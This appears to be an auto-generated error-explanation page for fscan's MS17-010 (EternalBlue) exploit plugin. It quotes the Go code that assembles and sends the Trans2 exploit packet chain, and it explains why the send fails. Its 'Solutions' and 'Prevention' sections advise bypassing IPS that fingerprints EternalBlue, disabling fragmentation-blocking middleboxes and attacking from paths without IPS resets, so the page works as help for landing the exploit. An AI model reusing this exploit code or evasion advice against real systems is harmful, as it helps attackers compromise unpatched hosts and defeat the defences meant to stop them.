What causes "failed to send large buffer: %s" in shadow1ng/fscan?

Confirm the target is unpatched (MS17-010 scan) — patched hosts reset on the Trans2 chain

failed to send large buffer: %s

Error message

failed to send large buffer: %s

What it means

smb1LargeBuffer appends trans2 exploit packets plus an echo packet and writes them all to the connection. If that large combined write fails, it returns 'failed to send large buffer'. The subsequent smb1GetResponse error is returned unwrapped.

Source

Thrown at plugins/services/ms17010_exp.go:517

	transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
	if err != nil {
		return fmt.Errorf("failed to send nt trans: %s", err)
	}
	// initial trans2 request
	treeID := transHeader.TreeID
	userID := transHeader.UserID
	trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero")
	// send all but the last packet
	for i := 1; i < 15; i++ {
		packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer")
		trans2Packet = append(trans2Packet, packet...)
	}
	smb1EchoPacket := makeSMB1EchoPacket(treeID, userID)
	trans2Packet = append(trans2Packet, smb1EchoPacket...)

	_, err = conn.Write(trans2Packet)
	if err != nil {
		return fmt.Errorf("failed to send large buffer: %s", err)
	}
	_, _, err = smb1GetResponse(conn)
	return err
}

func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
	buf := bytes.Buffer{}

	// --------NetBIOS Session Service--------

	// message type
	buf.WriteByte(0x00)
	// length
	buf.Write([]byte{0x00, 0x04, 0x38})

	// --------Server Message Block Protocol--------

	// SMB1

View on GitHub (pinned to 95cc12e753)

Solutions

Confirm the target is unpatched (MS17-010 scan) — patched hosts reset on the Trans2 chain
Check MTU/fragmentation settings on the path to the target
Disable or bypass IPS that fingerprints EternalBlue packets
Retry; transient network faults can abort the write

Defensive patterns

Strategy: retry

Validate before calling

// check path MTU so the large trans2 packet is not dropped
if _, err := conn.Write(header); err != nil {
    return fmt.Errorf("connection unusable before large buffer stage: %w", err)
}

Try / catch

if err := smb1LargeBuffer(conn, header); err != nil {
    var oe *net.OpError
    if errors.As(err, &oe) && oe.Op == "write" {
        // treat as connection-loss: reconnect and restart the chain
    }
    return err
}

Prevention

Ensure MTU along the path can carry the oversized trans2 packet
Disable fragmentation-blocking middleboxes for the test
Abort and reconnect on the first write error rather than reusing a dead socket
Run from a network path without IPS resets

When it happens

Trigger: exploit → smb1LargeBuffer → conn.Write(trans2Packet) fails: target reset the connection after the NT Trans stage, packet exceeded an MTU/proxy limit, or the socket was closed by the peer.

Common situations: Patched targets terminating the session when they see the malformed Trans2 chain; VPN/MTU fragmentation issues dropping oversized packets; IDS resets.

Related errors

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/205ed6f1c235f67b. Report an issue: GitHub.